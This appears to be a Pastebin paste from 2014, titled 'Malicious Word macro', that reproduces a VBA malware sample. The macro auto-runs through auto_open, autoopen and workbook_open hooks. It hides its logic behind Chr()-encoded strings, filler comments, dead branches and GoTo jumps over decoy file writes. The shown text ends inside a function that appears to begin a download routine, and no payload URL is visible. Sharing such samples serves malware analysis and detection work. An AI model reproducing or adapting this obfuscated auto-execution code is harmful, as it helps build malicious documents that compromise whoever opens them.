dynamoo

Malicious Word macro

Nov 4th, 2014
217
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  10. Sub auto_open()
  11. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  12.  
  13. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  14. GoTo vsfalbmw
  15. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  16. Dim eixxymsf As String
  17. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  18. Open Chr(82) & Chr(90) & Chr(71) & Chr(88) & Chr(80) & Chr(87) & Chr(46) & Chr(70) & Chr(77) & Chr(68) For Binary As 16
  19. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  20. If 711568 = 711568 + 1 Then End
  21. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  22. If 1795 < 73 Then
  23. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  24.        MsgBox (Chr(117) & Chr(121) & Chr(108) & Chr(108) & Chr(111) & Chr(104) & Chr(118) & Chr(121) & Chr(56) & Chr(55))
  25. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  26. End If
  27. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  28. If Len(Chr(99) & Chr(106) & Chr(119) & Chr(97) & Chr(112) & Chr(98) & Chr(103) & Chr(102) & Chr(53) & Chr(49) & Chr(54) & Chr(56)) = Len(Chr(98) & Chr(109) & Chr(99) & Chr(102) & Chr(107) & Chr(118) & Chr(102) & Chr(109)) Then
  29. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  30.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  31. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  32. End If
  33. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  34. Put #16, , eixxymsf
  35. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  36.  
  37. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  38. If 443571 = 443571 + 1 Then End
  39. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  40. If 2283 < 49 Then
  41. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  42.        MsgBox (Chr(99) & Chr(117) & Chr(113) & Chr(98) & Chr(109) & Chr(97) & Chr(112) & Chr(120) & Chr(50) & Chr(51))
  43. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  44. End If
  45. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  46. If Len(Chr(99) & Chr(115) & Chr(113) & Chr(104) & Chr(103) & Chr(97) & Chr(109) & Chr(119) & Chr(53) & Chr(52) & Chr(53) & Chr(54)) = Len(Chr(108) & Chr(121) & Chr(112) & Chr(119) & Chr(105) & Chr(117) & Chr(105) & Chr(111)) Then
  47. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  48.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  49. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  50. End If
  51. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  52. Close #16
  53. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  54.  
  55. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  56. If 542342 = 542342 + 1 Then End
  57. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  58. If 5329 < 28 Then
  59. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  60.        MsgBox (Chr(119) & Chr(120) & Chr(99) & Chr(116) & Chr(113) & Chr(114) & Chr(110) & Chr(122) & Chr(54) & Chr(49))
  61. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  62. End If
  63. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  64. If Len(Chr(108) & Chr(106) & Chr(101) & Chr(119) & Chr(122) & Chr(117) & Chr(101) & Chr(101) & Chr(54) & Chr(50) & Chr(54) & Chr(57)) = Len(Chr(109) & Chr(109) & Chr(121) & Chr(105) & Chr(112) & Chr(116) & Chr(97) & Chr(112)) Then
  65. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  66.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  67. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  68. End If
  69. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  70. vsfalbmw:
  71. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  72.  
  73. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  74.  
  75. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  76. If 778394 = 778394 + 1 Then End
  77. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  78. If 4542 < 63 Then
  79. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  80.        MsgBox (Chr(115) & Chr(118) & Chr(102) & Chr(104) & Chr(97) & Chr(102) & Chr(114) & Chr(120) & Chr(53) & Chr(54))
  81. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  82. End If
  83. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  84. If Len(Chr(115) & Chr(114) & Chr(100) & Chr(117) & Chr(119) & Chr(102) & Chr(103) & Chr(119) & Chr(55) & Chr(55) & Chr(49) & Chr(53)) = Len(Chr(119) & Chr(107) & Chr(119) & Chr(122) & Chr(107) & Chr(116) & Chr(98) & Chr(119)) Then
  85. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  86.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  87. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  88. End If
  89. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  90. evgvriwbtjr
  91. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  92.  
  93. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  94. End Sub
  95. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  96. Sub autoopen()
  97. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  98.  
  99. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  100. GoTo kwduwurv
  101. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  102. Dim cjweozwj As String
  103. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  104. Open Chr(70) & Chr(76) & Chr(65) & Chr(66) & Chr(81) & Chr(81) & Chr(46) & Chr(70) & Chr(74) & Chr(90) For Binary As 43
  105. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  106. If 189973 = 189973 + 1 Then End
  107. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  108. If 1796 < 59 Then
  109. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  110.        MsgBox (Chr(98) & Chr(119) & Chr(102) & Chr(103) & Chr(116) & Chr(114) & Chr(111) & Chr(121) & Chr(50) & Chr(53))
  111. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  112. End If
  113. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  114. If Len(Chr(112) & Chr(119) & Chr(113) & Chr(103) & Chr(106) & Chr(109) & Chr(100) & Chr(120) & Chr(50) & Chr(54) & Chr(53) & Chr(54)) = Len(Chr(113) & Chr(118) & Chr(103) & Chr(97) & Chr(98) & Chr(108) & Chr(115) & Chr(101)) Then
  115. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  116.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  117. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  118. End If
  119. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  120. Put #43, , cjweozwj
  121. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  122.  
  123. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  124. If 231548 = 231548 + 1 Then End
  125. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  126. If 2857 < 46 Then
  127. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  128.        MsgBox (Chr(109) & Chr(114) & Chr(103) & Chr(115) & Chr(108) & Chr(120) & Chr(101) & Chr(100) & Chr(54) & Chr(55))
  129. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  130. End If
  131. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  132. If Len(Chr(110) & Chr(108) & Chr(108) & Chr(112) & Chr(122) & Chr(103) & Chr(118) & Chr(116) & Chr(53) & Chr(49) & Chr(50) & Chr(49)) = Len(Chr(111) & Chr(105) & Chr(110) & Chr(121) & Chr(98) & Chr(121) & Chr(112) & Chr(114)) Then
  133. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  134.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  135. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  136. End If
  137. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  138. Close #43
  139. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  140.  
  141. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  142. If 238386 = 238386 + 1 Then End
  143. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  144. If 6983 < 25 Then
  145. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  146.        MsgBox (Chr(116) & Chr(102) & Chr(111) & Chr(105) & Chr(102) & Chr(113) & Chr(107) & Chr(116) & Chr(51) & Chr(56))
  147. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  148. End If
  149. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  150. If Len(Chr(120) & Chr(118) & Chr(112) & Chr(104) & Chr(103) & Chr(109) & Chr(117) & Chr(102) & Chr(55) & Chr(55) & Chr(51) & Chr(52)) = Len(Chr(99) & Chr(122) & Chr(102) & Chr(101) & Chr(118) & Chr(107) & Chr(121) & Chr(109)) Then
  151. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  152.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  153. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  154. End If
  155. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  156. kwduwurv:
  157. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  158.  
  159. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  160.  
  161. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  162. If 826517 = 826517 + 1 Then End
  163. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  164. If 8797 < 15 Then
  165. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  166.        MsgBox (Chr(101) & Chr(118) & Chr(103) & Chr(111) & Chr(101) & Chr(103) & Chr(100) & Chr(119) & Chr(51) & Chr(54))
  167. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  168. End If
  169. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  170. If Len(Chr(113) & Chr(102) & Chr(108) & Chr(105) & Chr(115) & Chr(117) & Chr(105) & Chr(100) & Chr(51) & Chr(57) & Chr(54) & Chr(49)) = Len(Chr(108) & Chr(122) & Chr(110) & Chr(101) & Chr(111) & Chr(118) & Chr(108) & Chr(115)) Then
  171. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  172.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  173. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  174. End If
  175. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  176.    auto_open
  177. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  178.  
  179. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  180. End Sub
  181. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  182. Sub workbook_open()
  183. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  184.  
  185. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  186. GoTo jaduxocm
  187. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  188. Dim xxmeoehs As String
  189. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  190. Open Chr(87) & Chr(85) & Chr(76) & Chr(85) & Chr(68) & Chr(84) & Chr(46) & Chr(82) & Chr(66) & Chr(74) For Binary As 67
  191. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  192. If 861474 = 861474 + 1 Then End
  193. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  194. If 4727 < 88 Then
  195. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  196.        MsgBox (Chr(113) & Chr(105) & Chr(109) & Chr(115) & Chr(103) & Chr(99) & Chr(116) & Chr(113) & Chr(57) & Chr(51))
  197. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  198. End If
  199. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  200. If Len(Chr(103) & Chr(102) & Chr(116) & Chr(111) & Chr(109) & Chr(108) & Chr(107) & Chr(116) & Chr(53) & Chr(54) & Chr(55) & Chr(55)) = Len(Chr(101) & Chr(120) & Chr(98) & Chr(121) & Chr(118) & Chr(116) & Chr(108) & Chr(110)) Then
  201. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  202.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  203. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  204. End If
  205. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  206. Put #67, , xxmeoehs
  207. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  208.  
  209. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  210. If 892816 = 892816 + 1 Then End
  211. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  212. If 5877 < 75 Then
  213. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  214.        MsgBox (Chr(107) & Chr(115) & Chr(116) & Chr(109) & Chr(109) & Chr(106) & Chr(101) & Chr(117) & Chr(54) & Chr(56))
  215. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  216. End If
  217. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  218. If Len(Chr(108) & Chr(106) & Chr(116) & Chr(113) & Chr(102) & Chr(104) & Chr(100) & Chr(121) & Chr(56) & Chr(49) & Chr(52) & Chr(49)) = Len(Chr(97) & Chr(116) & Chr(100) & Chr(121) & Chr(113) & Chr(105) & Chr(99) & Chr(121)) Then
  219. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  220.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  221. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  222. End If
  223. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  224. Close #67
  225. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  226.  
  227. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  228. If 692157 = 692157 + 1 Then End
  229. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  230. If 6827 < 24 Then
  231. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  232.        MsgBox (Chr(98) & Chr(98) & Chr(118) & Chr(99) & Chr(107) & Chr(113) & Chr(117) & Chr(117) & Chr(55) & Chr(54))
  233. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  234. End If
  235. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  236. If Len(Chr(99) & Chr(108) & Chr(116) & Chr(100) & Chr(117) & Chr(102) & Chr(105) & Chr(111) & Chr(57) & Chr(49) & Chr(56) & Chr(50)) = Len(Chr(118) & Chr(118) & Chr(117) & Chr(110) & Chr(104) & Chr(115) & Chr(117) & Chr(103)) Then
  237. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  238.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  239. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  240. End If
  241. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  242. jaduxocm:
  243. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  244.  
  245. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  246.  
  247. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  248. If 587851 = 587851 + 1 Then End
  249. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  250. If 9314 < 21 Then
  251. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  252.        MsgBox (Chr(103) & Chr(112) & Chr(118) & Chr(122) & Chr(110) & Chr(99) & Chr(103) & Chr(114) & Chr(57) & Chr(51))
  253. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  254. End If
  255. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  256. If Len(Chr(103) & Chr(104) & Chr(99) & Chr(108) & Chr(108) & Chr(99) & Chr(98) & Chr(101) & Chr(51) & Chr(53) & Chr(55) & Chr(55)) = Len(Chr(99) & Chr(114) & Chr(114) & Chr(102) & Chr(106) & Chr(103) & Chr(112) & Chr(122)) Then
  257. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  258.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  259. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  260. End If
  261. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  262.    auto_open
  263. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  264.  
  265. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  266. End Sub
  267. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  268. Function trzfcrwihtc(ByVal ejckdfuqggu As String, ByVal kxqaxtgwbnh As String) As Boolean
  269. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  270.     Dim ocpvmgeelcx As Object, ayemzbpjsak As Long, zgbpbucckrp As Long, wvavhsolbur() As Byte
  271. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  272.  
  273. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  274.  
  275. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  276. GoTo hsgzhsmu
  277. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  278. Dim oetdulop As String
  279. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  280. Open Chr(85) & Chr(83) & Chr(85) & Chr(82) & Chr(80) & Chr(77) & Chr(46) & Chr(85) & Chr(80) & Chr(85) For Binary As 29
  281. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  282. If 114274 = 114274 + 1 Then End
  283. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  284. If 1948 < 75 Then
  285. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  286.        MsgBox (Chr(118) & Chr(122) & Chr(112) & Chr(97) & Chr(104) & Chr(105) & Chr(113) & Chr(115) & Chr(50) & Chr(54))
  287. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  288. End If
